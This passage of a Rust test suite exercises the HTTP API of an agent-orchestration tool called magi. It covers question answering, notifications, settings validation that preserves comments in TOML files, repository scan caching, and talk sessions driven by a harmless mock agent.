13500        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13501        let mut answered = store.get(&answered_id).expect("get");
13502        answered
13503            .answer(Answer::Choice("SQLite".to_owned()))
13504            .expect("answer");
13505        store.put(&mut answered).expect("put");
13506        let res = fx
13507            .post(
13508                &format!("/api/questions/{answered_id}/say"),
13509                Some(r#"{"body":"still there?"}"#),
13510            )
13511            .await;
13512        assert_eq!(res.status, 409, "{}", res.body);
13513
13514        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13515        let mut abandoned = store.get(&abandoned_id).expect("get");
13516        abandoned.abandon("timed out");
13517        store.put(&mut abandoned).expect("put");
13518        let res = fx
13519            .post(
13520                &format!("/api/questions/{abandoned_id}/say"),
13521                Some(r#"{"body":"still there?"}"#),
13522            )
13523            .await;
13524        assert_eq!(res.status, 409, "{}", res.body);
13525    }
13526
13527    #[tokio::test]
13528    async fn an_answer_the_question_does_not_offer_is_refused() {
13529        let fx = Fixture::start().await;
13530        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13531        let path = format!("/api/questions/{id}/answer");
13532
13533        for body in [
13534            r#"{"choice":"Postgres"}"#,
13535            r#"{"text":"whatever you think"}"#,
13536            r#"{"choice":"Redis","text":"both"}"#,
13537            r#"{}"#,
13538        ] {
13539            let res = fx.post(&path, Some(body)).await;
13540            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13541            assert!(res.json()["error"].is_string(), "{}", res.body);
13542        }
13543        // Nothing above may have answered it.
13544        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13545    }
13546
13547    #[tokio::test]
13548    async fn a_free_text_question_takes_text_and_not_a_choice() {
13549        let fx = Fixture::start().await;
13550        let id = ask(&fx, "What should the flag be called?", &[]);
13551        fx.questions().beat(&id, ask::WaiterKind::Asker);
13552        let path = format!("/api/questions/{id}/answer");
13553
13554        assert_eq!(
13555            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13556            400
13557        );
13558        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13559        assert_eq!(res.status, 200, "{}", res.body);
13560        assert_eq!(res.json()["answer"]["text"], "--json");
13561    }
13562
13563    #[tokio::test]
13564    async fn an_unknown_question_is_a_json_404() {
13565        let fx = Fixture::start().await;
13566        let res = fx
13567            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13568            .await;
13569        assert_eq!(res.status, 404, "{}", res.body);
13570        assert!(res.json()["error"].is_string());
13571    }
13572
13573    #[tokio::test]
13574    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13575        let fx = Fixture::start().await;
13576        let questions = Questions::at(fx.home.path().join("questions"));
13577        let store = Notices::at(fx.home.path().join("notifications"));
13578        let mut q = ask::Question::new(
13579            "t1".into(),
13580            "conduct".into(),
13581            "conductor".into(),
13582            "Continue?".into(),
13583            String::new(),
13584            Vec::new(),
13585        );
13586        questions.put(&mut q).unwrap();
13587        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13588        n.covered_by = Some(q.id.clone());
13589        let n = store.raise(n).unwrap();
13590        let listed = fx.get("/api/notifications").await.json();
13591        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13592        questions
13593            .update(&q.id, |q| {
13594                q.abandon("run gone");
13595                Ok(())
13596            })
13597            .unwrap();
13598        let listed = fx.get("/api/notifications").await.json();
13599        assert!(listed["items"][0]["answerable_question"].is_null());
13600        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13601        assert!(
13602            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13603                .unwrap()
13604                .contains("answerable_question")
13605        );
13606    }
13607
13608    #[tokio::test]
13609    async fn notifications_list_read_dismiss_and_health_agree() {
13610        let fx = Fixture::start().await;
13611        let store = Notices::at(fx.home.path().join("notifications"));
13612        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13613        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13614
13615        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13616        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13617
13618        store
13619            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13620            .unwrap();
13621        let health = fx.get("/api/health").await.json();
13622        assert_eq!(health["notifications_unread"], 2);
13623        assert_ne!(
13624            health["notifications_rev"], rev0,
13625            "the badge must move live"
13626        );
13627
13628        let listed = fx.get("/api/notifications").await.json();
13629        assert_eq!(listed["unread"], 2);
13630        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13631        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13632
13633        let read = fx
13634            .post(&format!("/api/notifications/{}/read", a.id), None)
13635            .await;
13636        assert_eq!(read.status, 200, "{}", read.body);
13637        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13638
13639        let gone = fx
13640            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13641            .await;
13642        assert_eq!(gone.status, 200, "{}", gone.body);
13643        let listed = fx.get("/api/notifications").await.json();
13644        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13645        assert_eq!(listed["unread"], 0);
13646
13647        store.raise(Notice::info("x", "again")).unwrap();
13648        let all = fx.post("/api/notifications/read-all", None).await;
13649        assert_eq!(all.status, 200, "{}", all.body);
13650        assert_eq!(all.json()["marked"], 1);
13651        assert_eq!(
13652            fx.get("/api/health").await.json()["notifications_unread"],
13653            0
13654        );
13655
13656        let missing = fx.post("/api/notifications/nope/read", None).await;
13657        assert_eq!(missing.status, 404, "{}", missing.body);
13658        assert!(missing.json()["error"].is_string());
13659    }
13660
13661    /// New work reaches the queue through `magi task add`, a standing talk's
13662    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
13663    /// so the compose form and that route are gone. The tests that covered
13664    /// that route's validation went with it, and nothing was left asserting
13665    /// it stays gone — so a re-added handler would silently let the phone
13666    /// file briefs no one validated.
13667    #[tokio::test]
13668    async fn a_task_cannot_be_filed_over_the_phone_directly() {
13669        let f = Fixture::start().await;
13670
13671        let res = f
13672            .post(
13673                "/api/queue",
13674                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13675            )
13676            .await;
13677
13678        assert_eq!(
13679            res.status, 405,
13680            "POST /api/queue must not be a route: {}",
13681            res.body
13682        );
13683        assert!(
13684            f.queue().list().is_empty(),
13685            "a task filed by a route that does not exist must not reach the disk"
13686        );
13687        // The path itself is still served — the Queue view reads it — and the
13688        // per-task controls are untouched by the entry being removed.
13689        assert_eq!(f.get("/api/queue").await.status, 200);
13690    }
13691
13692    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
13693    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13694        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13695            .expect("checkout dir");
13696    }
13697
13698    /// Two command agents, so a config needs no real CLI.
13699    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13700
13701    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13702        let tmp = TempDir::new().expect("tempdir");
13703        let repo = tmp.path().join("repo");
13704        std::fs::create_dir_all(&repo).expect("repo dir");
13705        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13706        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13707        if let Some(text) = machine_toml {
13708            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13709            std::fs::write(&machine, text).expect("machine toml");
13710        }
13711        (tmp, repo, machine)
13712    }
13713
13714    async fn settings_checkout(path: &FsPath, text: &str) {
13715        std::fs::create_dir_all(path).unwrap();
13716        std::fs::write(path.join("magi.toml"), text).unwrap();
13717        for args in [
13718            vec!["init", "-b", "main"],
13719            vec!["add", "magi.toml"],
13720            vec![
13721                "-c",
13722                "user.name=Test",
13723                "-c",
13724                "user.email=test@example.invalid",
13725                "commit",
13726                "-m",
13727                "fixture",
13728            ],
13729            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13730            vec![
13731                "symbolic-ref",
13732                "refs/remotes/origin/HEAD",
13733                "refs/remotes/origin/main",
13734            ],
13735        ] {
13736            crate::git::git(path, &args).await.unwrap();
13737        }
13738    }
13739
13740    #[tokio::test]
13741    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13742        let (tmp, repo, machine) =
13743            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13744        let root = tmp.path().join("roots");
13745        let selected = root.join("host/owner/selected");
13746        settings_checkout(
13747            &selected,
13748            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13749        )
13750        .await;
13751        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13752        let before = std::fs::read(&machine).unwrap();
13753        let ui = Arc::new(
13754            Ui::new(
13755                Queue::at(tmp.path().join("queue")),
13756                Questions::at(tmp.path().join("questions")),
13757                Talks::at(tmp.path().join("talks")),
13758                tmp.path().join("runs"),
13759                tmp.path().to_path_buf(),
13760                repo.clone(),
13761            )
13762            .with_machine_config(Some(machine.clone())),
13763        );
13764        let query = || {
13765            Query(SettingsQuery {
13766                repo: Some(selected.clone()),
13767            })
13768        };
13769        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13770        assert!(v.error.is_none(), "{:?}", v.error);
13771        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13772        assert_eq!(conductor.source, "repo");
13773        assert_eq!(
13774            conductor.machine_value,
13775            Some(toml::Value::String("a".into()))
13776        );
13777        assert!(!conductor.editable);
13778        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13779        assert_eq!(
13780            judges.count.as_ref().unwrap().machine_value,
13781            Some(toml::Value::Integer(1))
13782        );
13783        assert!(
13784            !v.roles
13785                .iter()
13786                .find(|r| r.key == "reviewers")
13787                .unwrap()
13788                .editable
13789        );
13790        let unknown = || {
13791            Query(SettingsQuery {
13792                repo: Some(tmp.path().to_path_buf()),
13793            })
13794        };
13795        assert_eq!(
13796            settings_get(State(ui.clone()), unknown())
13797                .await
13798                .unwrap_err()
13799                .status,
13800            StatusCode::UNPROCESSABLE_ENTITY
13801        );
13802        let body = || {
13803            Ok(Json(RolesBody {
13804                revision: v.revision.clone(),
13805                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13806                counts: Default::default(),
13807            }))
13808        };
13809        assert_eq!(
13810            settings_put_roles(State(ui.clone()), unknown(), body())
13811                .await
13812                .unwrap_err()
13813                .status,
13814            StatusCode::UNPROCESSABLE_ENTITY
13815        );
13816        assert_eq!(std::fs::read(&machine).unwrap(), before);
13817        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13818            .await
13819            .unwrap();
13820        assert_eq!(
13821            saved.repo,
13822            selected.canonicalize().unwrap().display().to_string()
13823        );
13824        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13825        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13826        // A cache miss refreshes the stable candidate list exactly for validation.
13827        let fresh = root.join("host/owner/fresh");
13828        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13829        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13830            .await
13831            .unwrap();
13832        assert_eq!(fresh_view.repositories.len(), 3);
13833    }
13834
13835    #[tokio::test]
13836    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13837        let (tmp, repo, machine) = settings_dirs(
13838            "[roles]\nreviewers = [\"a\"]\n",
13839            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13840        );
13841        let root = tmp.path().join("roots");
13842        let selected = root.join("host/owner/selected");
13843        settings_checkout(
13844            &selected,
13845            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13846        )
13847        .await;
13848        let broken = root.join("host/owner/broken");
13849        settings_checkout(&broken, "[roles\nbroken").await;
13850        let machine_text = format!(
13851            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13852            toml::Value::String(root.display().to_string())
13853        );
13854        std::fs::write(&machine, &machine_text).unwrap();
13855        let originals: Vec<_> = [&repo, &selected, &broken]
13856            .iter()
13857            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13858            .collect();
13859        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13860        let default = f.get("/api/settings").await.json();
13861        assert_eq!(
13862            default["repo"],
13863            repo.canonicalize().unwrap().display().to_string()
13864        );
13865        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13866        let query = format!("?repo={}", selected.display());
13867        let res = f.get(&format!("/api/settings{query}")).await;
13868        assert_eq!(res.status, 200, "{}", res.body);
13869        let v = res.json();
13870        assert!(v["error"].is_null(), "{v}");
13871        assert_eq!(v["repositories"], default["repositories"]);
13872        let role = |key: &str| {
13873            v["roles"]
13874                .as_array()
13875                .unwrap()
13876                .iter()
13877                .find(|r| r["key"] == key)
13878                .unwrap()
13879        };
13880        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13881        assert_eq!(role("advisors")["source"], "repo");
13882        assert_eq!(role("advisors")["editable"], false);
13883        assert!(role("advisors")["machine_value"].is_null());
13884        assert_eq!(role("judges")["count"]["value"], 2);
13885        assert_eq!(role("judges")["count"]["machine_value"], 1);
13886        assert_eq!(role("judges")["count"]["source"], "repo");
13887        let source = role("judges")["count"]["source_path"].as_str().unwrap();
13888        assert!(
13889            source.contains("origin/main") && !source.contains("magi/config/"),
13890            "{source}"
13891        );
13892        assert_eq!(
13893            role("reviewers")["editable"],
13894            false,
13895            "default context outside roots must protect its declarations"
13896        );
13897        let body =
13898            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13899        let unknown = format!("?repo={}", tmp.path().display());
13900        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13901        assert_eq!(
13902            f.put(&format!("/api/settings/roles{unknown}"), &body)
13903                .await
13904                .status,
13905            422
13906        );
13907        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13908        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13909            .to_string();
13910        assert_eq!(
13911            f.put(&format!("/api/settings/roles{query}"), &refuse)
13912                .await
13913                .status,
13914            422
13915        );
13916        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13917        assert_eq!(saved.status, 200, "{}", saved.body);
13918        assert_eq!(saved.json()["repo"], v["repo"]);
13919        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13920        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13921        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13922            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13923        }
13924        let error = f
13925            .get(&format!("/api/settings?repo={}", broken.display()))
13926            .await;
13927        assert_eq!(error.status, 200);
13928        assert!(error.json()["error"]["message"].is_string());
13929        assert_eq!(error.json()["repositories"], default["repositories"]);
13930    }
13931
13932    #[tokio::test]
13933    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13934        let (_tmp, repo, machine) =
13935            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13936        let f = Fixture::with_repo_and_machine(repo, machine).await;
13937        let res = f.get("/api/settings").await;
13938        assert_eq!(res.status, 200, "{}", res.body);
13939        let v = res.json();
13940        assert!(v["error"].is_null(), "{v}");
13941        let role = |k: &str| {
13942            v["roles"]
13943                .as_array()
13944                .and_then(|r| r.iter().find(|x| x["key"] == k))
13945                .cloned()
13946                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13947        };
13948        assert_eq!(role("judges")["source"], "machine");
13949        assert_eq!(role("judges")["editable"], true);
13950        assert_eq!(role("implementers")["source"], "default");
13951        let adv = role("advisors");
13952        assert_eq!(adv["fallback"], "judges");
13953        assert!(
13954            adv["seats"]
13955                .as_array()
13956                .is_some_and(|s| s.iter().all(|x| x == "b")),
13957            "{adv}"
13958        );
13959        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13960        assert_eq!(v["agents"][0]["source"], "repo");
13961    }
13962
13963    #[tokio::test]
13964    async fn settings_get_reports_a_config_that_does_not_parse() {
13965        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13966        let f = Fixture::with_repo_and_machine(repo, machine).await;
13967        let res = f.get("/api/settings").await;
13968        assert_eq!(res.status, 200, "{}", res.body);
13969        let v = res.json();
13970        assert!(v["error"]["message"].is_string(), "{v}");
13971        assert!(
13972            v["error"]["path"]
13973                .as_str()
13974                .is_some_and(|p| p.ends_with("magi.toml")),
13975            "{v}"
13976        );
13977        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13978    }
13979
13980    #[tokio::test]
13981    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13982        let (_tmp, repo, machine) = settings_dirs(
13983            SETTINGS_AGENTS,
13984            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13985        );
13986        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13987        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13988        let rev = f.get("/api/settings").await.json()["revision"]
13989            .as_str()
13990            .expect("revision")
13991            .to_owned();
13992        let body = serde_json::json!({
13993            "revision": rev,
13994            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13995        })
13996        .to_string();
13997        let res = f.put("/api/settings/roles", &body).await;
13998        assert_eq!(res.status, 200, "{}", res.body);
13999        let text = std::fs::read_to_string(&machine).expect("machine");
14000        assert_eq!(
14001            text,
14002            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14003        );
14004        assert_eq!(
14005            std::fs::read(repo.join("magi.toml")).expect("read"),
14006            repo_before
14007        );
14008        let again = f.get("/api/settings").await.json();
14009        let judges = again["roles"]
14010            .as_array()
14011            .expect("roles")
14012            .iter()
14013            .find(|r| r["key"] == "judges")
14014            .expect("judges")
14015            .clone();
14016        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14017        // The old revision is now stale.
14018        let stale = f.put("/api/settings/roles", &body).await;
14019        assert_eq!(stale.status, 409, "{}", stale.body);
14020    }
14021
14022    #[tokio::test]
14023    async fn settings_counts_are_reported_and_saved() {
14024        let (_tmp, repo, machine) = settings_dirs(
14025            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14026            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14027        );
14028        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14029        let v = f.get("/api/settings").await.json();
14030        let count = |v: &serde_json::Value, k: &str| {
14031            v["roles"]
14032                .as_array()
14033                .and_then(|r| r.iter().find(|x| x["key"] == k))
14034                .map(|x| x["count"].clone())
14035                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14036        };
14037        let imp = count(&v, "implementers");
14038        assert_eq!(imp["value"], 2);
14039        assert_eq!(imp["source"], "machine");
14040        assert_eq!(imp["file_key"], "candidates");
14041        assert_eq!(imp["roster_len"], 2);
14042        assert_eq!(imp["backups"], 0);
14043        assert_eq!(count(&v, "judges")["source"], "default");
14044        assert_eq!(count(&v, "advisors")["min"], 0);
14045        assert_eq!(count(&v, "reviewers")["editable"], false);
14046        assert!(
14047            count(&v, "reviewers")["locked_reason"]
14048                .as_str()
14049                .is_some_and(|m| m.contains("graph.reviewers"))
14050        );
14051        assert!(count(&v, "fixer").is_null());
14052        let rev = v["revision"].as_str().expect("revision").to_owned();
14053        let body = serde_json::json!({
14054            "revision": rev,
14055            "roles": { "judges": ["b"] },
14056            "counts": { "implementers": 1, "advisors": 0 }
14057        })
14058        .to_string();
14059        let res = f.put("/api/settings/roles", &body).await;
14060        assert_eq!(res.status, 200, "{}", res.body);
14061        let text = std::fs::read_to_string(&machine).expect("machine");
14062        assert_eq!(
14063            text,
14064            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14065        );
14066        let after = f.get("/api/settings").await.json();
14067        assert_eq!(count(&after, "implementers")["value"], 1);
14068        assert_eq!(count(&after, "implementers")["backups"], 1);
14069        assert_eq!(count(&after, "advisors")["value"], 0);
14070        let before = std::fs::read_to_string(&machine).expect("machine");
14071        let rev = after["revision"].as_str().expect("revision").to_owned();
14072        for counts in [
14073            serde_json::json!({ "judges": 0 }),
14074            serde_json::json!({ "judges": "x" }),
14075            serde_json::json!({ "judges": 2.5 }),
14076            serde_json::json!({ "judges": -1 }),
14077            serde_json::json!({ "reviewers": 3 }),
14078            serde_json::json!({ "bogus": 3 }),
14079        ] {
14080            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14081            let res = f.put("/api/settings/roles", &body).await;
14082            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14083            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14084        }
14085    }
14086
14087    #[tokio::test]
14088    async fn settings_put_refuses_without_touching_the_file() {
14089        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14090        let (_tmp, repo, machine) = settings_dirs(
14091            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14092            Some(machine_text),
14093        );
14094        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14095        let rev = f.get("/api/settings").await.json()["revision"]
14096            .as_str()
14097            .expect("revision")
14098            .to_owned();
14099        for roles in [
14100            serde_json::json!({ "judges": ["nope"] }),
14101            serde_json::json!({ "reviewers": ["b"] }),
14102            serde_json::json!({ "bogus": ["a"] }),
14103        ] {
14104            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14105            let res = f.put("/api/settings/roles", &body).await;
14106            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14107            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14108            assert_eq!(
14109                std::fs::read_to_string(&machine).expect("machine"),
14110                machine_text
14111            );
14112        }
14113    }
14114
14115    #[tokio::test]
14116    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14117        let tmp = TempDir::new().expect("tempdir");
14118        let repo = tmp.path().join("repo");
14119        std::fs::create_dir_all(&repo).expect("repo dir");
14120        let root = tmp.path().join("root");
14121        make_checkout(&root, "github.com", "yukimemi", "magi");
14122        std::fs::write(
14123            repo.join("magi.toml"),
14124            format!(
14125                "[repos]\nroots = [{:?}]\n",
14126                root.to_string_lossy().into_owned()
14127            ),
14128        )
14129        .expect("write magi.toml");
14130
14131        let f = Fixture::with_repo(repo).await;
14132        let res = f.get("/api/repos").await;
14133        assert_eq!(res.status, 200, "{}", res.body);
14134        let list = res.json();
14135        let repos = list.as_array().expect("an array");
14136        assert_eq!(repos.len(), 1);
14137        assert_eq!(repos[0]["name"], "yukimemi/magi");
14138        assert!(
14139            repos[0]["path"]
14140                .as_str()
14141                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14142            "{list}"
14143        );
14144    }
14145
14146    #[tokio::test]
14147    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14148        let tmp = TempDir::new().expect("tempdir");
14149        let repo = tmp.path().join("repo");
14150        std::fs::create_dir_all(&repo).expect("repo dir");
14151        let root = tmp.path().join("root");
14152        make_checkout(&root, "github.com", "yukimemi", "magi");
14153        std::fs::write(
14154            repo.join("magi.toml"),
14155            format!(
14156                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14157                root.to_string_lossy().into_owned()
14158            ),
14159        )
14160        .expect("write magi.toml");
14161
14162        let f = Fixture::with_repo(repo).await;
14163        let first = f.get("/api/repos").await;
14164        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14165
14166        // A second checkout appears; within the TTL the cached answer must
14167        // not notice it.
14168        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14169        let second = f.get("/api/repos").await;
14170        assert_eq!(
14171            second.json().as_array().map(Vec::len),
14172            Some(1),
14173            "a fresh cache must not rescan inside the TTL"
14174        );
14175
14176        let refreshed = f.get("/api/repos?refresh=1").await;
14177        assert_eq!(
14178            refreshed.json().as_array().map(Vec::len),
14179            Some(2),
14180            "an explicit refresh must rescan even inside the TTL"
14181        );
14182    }
14183
14184    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14185    /// string, declared straight in a repository's own `magi.toml` rather
14186    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14187    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14188    /// this is safe to run over a real HTTP round trip.
14189    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14190
14191    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14192    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14193    /// even though it takes no turn, and `talk_say` invokes one.
14194    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14195        let tmp = TempDir::new().expect("tempdir");
14196        let repo = tmp.path().join("repo");
14197        std::fs::create_dir_all(&repo).expect("repo dir");
14198        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14199        let f = Fixture::with_repo(repo.clone()).await;
14200        (tmp, repo, f)
14201    }
14202
14203    #[tokio::test]
14204    async fn posting_a_talk_with_remembered_choices_is_soft() {
14205        let (_tmp, _repo, f) = talk_fixture().await;
14206
14207        let good = f
14208            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14209            .await;
14210        assert_eq!(good.status, 201, "{}", good.body);
14211        assert_eq!(good.json()["persona"], "rei");
14212
14213        // Wrong values and wrong types are dropped one by one, never a 4xx.
14214        let stale = f
14215            .post(
14216                "/api/talks",
14217                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14218            )
14219            .await;
14220        assert_eq!(stale.status, 201, "{}", stale.body);
14221        let v = stale.json();
14222        assert_eq!(v["implementers"], 1);
14223        assert_ne!(v["persona"], "nobody");
14224        let typed = f
14225            .post(
14226                "/api/talks",
14227                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14228            )
14229            .await;
14230        assert_eq!(typed.status, 201, "{}", typed.body);
14231
14232        // The strict `agent` field still refuses an unknown id.
14233        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14234        assert!(
14235            !strict.status.to_string().starts_with('2'),
14236            "{}",
14237            strict.body
14238        );
14239    }
14240
14241    #[tokio::test]
14242    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14243        let (_tmp, _repo, f) = talk_fixture().await;
14244
14245        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14246        // is the ordinary way a phone opens a talk.
14247        let opened = f.post("/api/talks", None).await;
14248        assert_eq!(opened.status, 201, "{}", opened.body);
14249        let body = opened.json();
14250        assert_eq!(body["status"], "open");
14251        assert_eq!(
14252            body["turns"].as_array().unwrap().len(),
14253            0,
14254            "opening takes no agent turn: there is nothing yet to answer"
14255        );
14256
14257        // An explicit empty object is the same request as none at all.
14258        let also_opened = f.post("/api/talks", Some("{}")).await;
14259        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14260
14261        let listed = f.get("/api/talks").await.json();
14262        assert_eq!(listed.as_array().unwrap().len(), 2);
14263    }
14264
14265    #[tokio::test]
14266    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14267        let tmp = TempDir::new().expect("tempdir");
14268        let repo = tmp.path().join("repo");
14269        std::fs::create_dir_all(&repo).expect("repo dir");
14270        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14271        std::fs::write(
14272            repo.join("magi.toml"),
14273            format!("{MOCK_AGENT_TOML}\n{second}"),
14274        )
14275        .expect("write magi.toml");
14276        let home = TempDir::new().expect("temp home");
14277        let talks = Talks::at(home.path().join("talks"));
14278        let ui = Arc::new(
14279            Ui::new(
14280                Queue::at(home.path().join("queue")),
14281                Questions::at(home.path().join("questions")),
14282                talks.clone(),
14283                home.path().join("runs"),
14284                home.path().to_path_buf(),
14285                repo.clone(),
14286            )
14287            .with_worktrees_root(home.path().join("wt")),
14288        );
14289        let cfg = config_for(&repo).await.expect("discover config");
14290        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14291        let id = talk.id.clone();
14292        let call = |agent: &str| {
14293            talk_agent(
14294                State(Arc::clone(&ui)),
14295                Path(id.clone()),
14296                Json(TalkAgent {
14297                    agent: agent.to_owned(),
14298                }),
14299            )
14300        };
14301
14302        let unknown = call("nobody").await.expect_err("unknown agent");
14303        assert_eq!(
14304            unknown.status,
14305            StatusCode::BAD_REQUEST,
14306            "{}",
14307            unknown.message
14308        );
14309
14310        {
14311            // Nothing refused so far took a claim, so the guard is free to take
14312            // and holding it is what makes the talk busy.
14313            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14314            let busy = call("second").await.expect_err("busy talk");
14315            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14316            assert!(
14317                busy.message.contains("a talk turn is running"),
14318                "{}",
14319                busy.message
14320            );
14321            drop(guard);
14322        }
14323        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14324
14325        let Json(view) = call("second").await.expect("switch");
